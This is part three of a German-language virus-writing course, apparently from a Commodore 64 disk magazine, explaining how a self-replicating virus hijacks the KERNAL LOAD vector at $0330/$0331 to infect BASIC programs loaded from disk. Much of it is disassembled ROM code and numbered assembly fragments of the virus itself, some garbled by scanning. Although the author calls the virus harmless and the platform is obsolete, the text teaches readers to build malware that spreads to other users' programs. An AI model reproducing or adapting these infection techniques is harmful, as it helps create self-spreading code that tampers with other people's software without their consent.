Viruskurs, 3.Teil
Endlich geht es weiter. Der 3 . Teil
unseres Viruskurses liegt vor Ihnen!
Heute geht es um die Vermehrung beim
Laden, die sich von der beim Saven, wie
wir sie ja letzten Monat besprochen
haben, nur geringfügig unterscheidet.
Wie gesagt kann sich unser kleiner
Freund mittlerweile auch schon vermehren.
Dies tut er, indem er sich sozusagen
über einen Vektor in die Saveroutine des
Betriebssystems ' einklinkt' und diese
steuert.
Genau wie bei einem richtigen, biologischen Virus, greift er in die DNA
( Datenstruktur einer Zelle, in der alle
Informationen über den Körper, zu dem
die Zelle gehört, gespeichert sind) seines Rechners ( also dem Betriebssystem) ein, und ändert sie so ab, daß sie
seiner Fortpflanzung dient.
Der Trick dabei ist, daß er bei seinem
' Erwachen', sprich seinem Aufruf, einen
Vektor, der auf die Saveroutine zeigt, auf seine eigene Saveroutine verbiegt.
Dieser Vektor war für die Saveroutine
der Vektor bei $0332/$0333 .
Für die Loadroutine ist dieser Vektor
bei $0330/$0331 . Und auch über diesen
Vektor wird unser Virus aktiv, das
heißt, er erwacht ebenfalls, wenn man
ein Programm laden will, und auch hier
muß er, wie beim Saven auch, alle Arbeit
allein tun, d. h. wir müssen uns zuerst
einmal die Struktur der Loadroutine
ansehen, um den Virus auch die richtigen
Anweisungen geben zu können.
Nun, wie wir ja wissen, hat die Loadroutine auch ihren Platz im Betriebssystem, nämlich ab Adresse $ FFD5 . Ab dieser
Adresse folgt nun ein Memory-Dump, so
wie wir das auch bei der Saveroutine
praktiziert haben:
FFD5 JMP $ F49 E
Auch hier wird einfach nur in das ' In-
nere' des Betriebssystemroms hineingesprungen. Dies ist übrigens eine Einrichtung, die Commodore bei allen ' kleinen' Homecomputern eingeführt hat.
Es handelt sich dabei um eine Sprungtabelle am Ende des Betriebssystems, in
der Routinen angesprungen werden, die
auf allen Rechnern dieselbe Funktion
erfüllen, aber bei jedem Rechner an
einer anderen Stelle stehen.
So kann man mit dem selben JMP-Befehl
z. B. auch die LOAD-Routine des C16 oder
des VC20 anspringen, da dann ab der
Adresse $ FFD5 auf die entsprechende
Routine des Rechners gesprungen wird.
Dies hat man getan, um Programme teilweise kompatibel zu machen, somit ist
das Umschreiben von Assemblerroutinen
einfacher ( soweit die Hardware dies
erlaubt), da man nicht die einzelnen
Sprungadressen verändern muß.
Nun aber weiter bei unserem Virus, werfen wir doch jetzt einmal einen Blick
nach $ F49 E:
f49e stx $c3 ;Startadresse f4a0 sty $c4 ;merken f4a2 jmp ($0330) ;jmp $f4a5
Sie sehen, auch hier eine Parameterzwischenspeicherung, bevor über den Vektor
auf die Loadroutine gesprungen wird.
Da sich in dem Vektor normalerweise die
Werte $ A5 und $ F4( in $0330 und $0331) befinden, wird hier auch auf Adresse
$ F4 A5 gesprungen. Die Befehle ab hier
sollten also auch von unserem Virus ausgeführt werden:
f4a5 sta $93 ;LOAD/VERIFY-Flag merken f4a7 lda #$00 ;Status f4a9 sta $90 ;löschen f4ab lda $ba ;Geräteadresse laden f4ad bne $f4b2 ;ungleich 0, also weiter f4af jmp $f713 ;'ILLIGAL DEVICE NUMBER' ;ausgeben f4b2 cmp #$03 ;vergleiche mit Code ;für Bildschirm
f4 b4 beq $ f4 af ; Ja, dann Fehler!
feb6 bcc $ f533 ; kleiner 3, dann vom ; Band *********** Ab hier IEC-Load ***********
f4b8 ldy $b7 ;Länge des Filenamens ;laden f4ba bne $f4bf ;ungleich 0, dann ok. f4bc jmp $f710 ;'MISSING FILENAME' ;ausgeben f4bf ldx $b9 ;Sekundäradresse laden f4c1 jsr $f5af ;'SEARCHING FOR' und ;Filename ausgeben f4c4 lda #$60 ;Sekundäradresse 0 f4c6 sta $b9 ;laden und merken f4c8 jsr $f3d5 ;File auf IEC-Bus ;öffnen
f4 cb lda $ ba ; Gerätenummer laden f4 cd jsr $ ed09 ; und TALK senden f4 d0 lda $ b9 ; Sekundäradresse laden f4 d2 jsr $ edc7 ; und senden f4 d5 jsr $ ee13 ; Byte vom IEC-Bus holen f4 d8 sta $ ae ; als Startadresse-LO ; speichern
An dieser Stelle ist es wichtig, daß
unser Virus sich wieder einschaltet. Er
muß nämlich nun wieder testen, ob es
sich hierbei um ein File handelt, daß ab
$0801 geladen wird.
Sie errinnern sich - wir hatten ja vor, den Virus so zu schreiben, daß er keinerlei Daten zerstören kann. Dies könnte
er tun, wenn er ein File infiziert, das
nicht ab $0801 geladen wird.
Da er ja mit RUN gestartet werden muß, und bei Files, die nicht an diese Adresse geladen werden, mit ziemlicher Wahrscheinlichkeit damit gerechnet werden
kann, daß sie auch nicht mit RUN gestartet werden, sondern meist Maschinenprogramme sind, die mit SYS-Befehlen
aufgerufen werden.
Das obige Listing entspricht nun bis
jetzt haargenau unserem Quellcodelisting
ab Zeile 1150-1480( diese Befehle ändern
sich ja nicht, trotzdem muß sie der
Virus ausführen, also übernehmen wir sie
einfach) . Nun folgen mehrere Befehle, durch die der Virus testet, ob das
momentan zu ladende File bei $0801 beginnt:
1400 - cmp #01 ;vergleiche LO-Byte- ;Startadr. mit 01 1410 - bne cbmload1 ;ungleich, dann mit ;Betriebssystem ;normal weiterladen
Hier wird nun verglichen, ob das LO-Byte
der Anfangsadress ($0801) übereinstimmt.
Ist dies nicht der Fall, so wird einfach
weiterverzweigt auf einen JMP $ f4 da, dieser Befehl steht im Sourcecode in
Zeile 1580 .
Nun weiter im Listing, das ab nun wieder
ein kleines Stück des Betriebssystems
enthält:
1420- :
1430 - lda $90 ;Status laden 1440 - lsr ;Bit 1 ins Carry 1450 - lsr ;schieben 1460 - bcs loaderror ;falls gesetzt, ;dann Timeout ;(Ladefehler) 1470 - jsr $ee13 ;Startadresse-HI 1480 - sta $af ;holen und merken
Eigentlich nur ein kleiner Errorcheck, also ob beim Diskzugriff nicht doch ein Busfehler aufgetaucht ist. Die Verzweigung auf das Label LOADERROR ist eine Verzweigung auf ein JMP $ F704 . Diese
Routine gibt schlicht und einfach ein
' FILE NOT FOUND' aus.
Der Sprungbefehl steht im Quellcodelisting in Zeile 1560 .
Solche Branch-Verzweigungen auf Sprungbefehle sind übrigens unbedingt notwendig, da bei Branch-Verzweigungen grundsätzlich nur um 128 Bytes jeweils in den
vorangehenden, oder in den nachfolgenden
Speicher gesprungen werden kann.
Ab Zeile 1470 haben wir nun wieder die
Befehlssequenz, die ein Byte holt und es
als Startadresse-HI zwischenspeichert.
Hier nun also wieder unsere gewohnte
Vergleichssequenz, ob also, nachdem das
LO-Byte mit $0801 übereinstimmte, dies
auch bei dem HI-Byte zutrifft ( hätte das
LO-Byte nicht gestimmt, dann würde jetzt
sowieso schon die LOAD-Routine im
Betriebssystem weiterarbeiten. . .) .
1500 - cmp #08 ;vergleiche mit 8 1510 - bne cbmload2 ; wenn nein, dann ;weiter im ;Betriebssystem 1520 - jsr $f4e5 ;springe auf rest- ;liche Loadroutine 1530 - bcc inftest ;Wenn kein Fehler, ;dann weiter, 1540 - rts ;andernfalls Ende 1550 -;******************************** 1560 -loaderror jmp $f704 1570 -xf533 jmp $f533 1580 -cbmload1 jmp $f4da
1590 -cbmload2 jmp $f4e5 1600 -;********************************
Nach unserem Vergleich wird auf die
restliche Loadroutine als Unterroutine
( JSR) gesprungen, um das File ganz
schlicht und einfach von Disk zu laden.
Wenn aus der Loadroutine zurückgekehrt
wurde, geht es weiter mit einem Test, ob
während des Ladens ein Fehler aufgetreten ist ( die Loadroutine gibt ein gesetztes Carrybit zurück, sollte ein
Fehler aufgetreten sein) .
Wenn ein Fehler aufgetreten ist, dann
wird einfach wieder zurückgesprungen, und der Virus bleibt friedlich.
Ist kein Fehler aufgetreten, wird zur
nächsten Routine verzweigt.
Sie heißt INFTEST und beginnt ab Zeile
1610 .
Das, was nun weiter geschehen wird, wollen wir in der nächsten Ausgabe
besprechen.
Der weitere Verlauf ist zwar relativ
einfach zu erläutern, doch muß ich Ihnen
noch einige Hinweise auf ein Routine am
Anfang der Loadroutine geben.
Ich verabschiede mich nun also bis zum
nächsten Monat und wünsche weiterhin ein
' Allzeit, gut Hack!'